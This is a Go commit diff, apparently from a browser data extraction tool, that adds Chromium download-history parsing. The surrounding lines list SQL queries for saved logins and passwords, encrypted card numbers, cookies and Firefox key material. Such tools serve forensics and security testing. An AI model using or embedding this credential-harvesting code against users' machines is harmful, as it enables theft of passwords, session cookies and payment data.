add parse Chromium download history

This commit is contained in:
Aquilao
2021-02-07 18:07:37 +08:00
parent 499d22cefe
commit 6220e27b5c
3 changed files with 123 additions and 11 deletions
+93 -11
View File
@@ -48,16 +48,17 @@ const (
)
var (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
closeJournalMode = `PRAGMA journal_mode=off`
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownloadHistory = `SELECT target_path, tab_url, total_bytes, start_time, end_time FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
closeJournalMode = `PRAGMA journal_mode=off`
)
const (
@@ -447,6 +448,81 @@ func (h *historyData) OutPut(format, browser, dir string) error {
}
}
type downloadHistoryData struct {
mainPath string
downloadHistory []downloadHistory
}
func NewDownloadHistoryData(main, sub string) Item {
return &downloadHistoryData{mainPath: main}
}
func (d *downloadHistoryData) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
if err != nil {
return err
}
defer func() {
if err := historyDB.Close(); err != nil {
log.Error(err)
}
}()
rows, err := historyDB.Query(queryChromiumDownloadHistory)
if err != nil {
return err
}
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
}
}()
for rows.Next() {
var (
target_path, tab_url string
total_bytes, start_time, end_time int64
)
err := rows.Scan(&target_path, &tab_url, &total_bytes, &start_time, &end_time)
data := downloadHistory{
TargetPath: target_path,
Url: tab_url,
TotalBytes: total_bytes,
StartTime: utils.TimeEpochFormat(start_time),
EndTime: utils.TimeEpochFormat(end_time),
}
if err != nil {
log.Error(err)
}
d.downloadHistory = append(d.downloadHistory, data)
}
return nil
}
func (d *downloadHistoryData) FirefoxParse() error {
return nil
}
func (d *downloadHistoryData) CopyDB() error {
return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath))
}
func (d *downloadHistoryData) Release() error {
return os.Remove(filepath.Base(d.mainPath))
}
func (d *downloadHistoryData) OutPut(format, browser, dir string) error {
switch format {
case "csv":
err := d.outPutCsv(browser, dir)
return err
case "console":
d.outPutConsole()
return nil
default:
err := d.outPutJson(browser, dir)
return err
}
}
type passwords struct {
mainPath string
subPath string
@@ -597,7 +673,6 @@ func (p *passwords) Release() error {
}
func (p *passwords) OutPut(format, browser, dir string) error {
sort.Sort(p)
switch format {
case "csv":
err := p.outPutCsv(browser, dir)
@@ -806,6 +881,13 @@ type (
VisitCount int
LastVisitTime time.Time
}
downloadHistory struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
}
card struct {
GUID string
Name string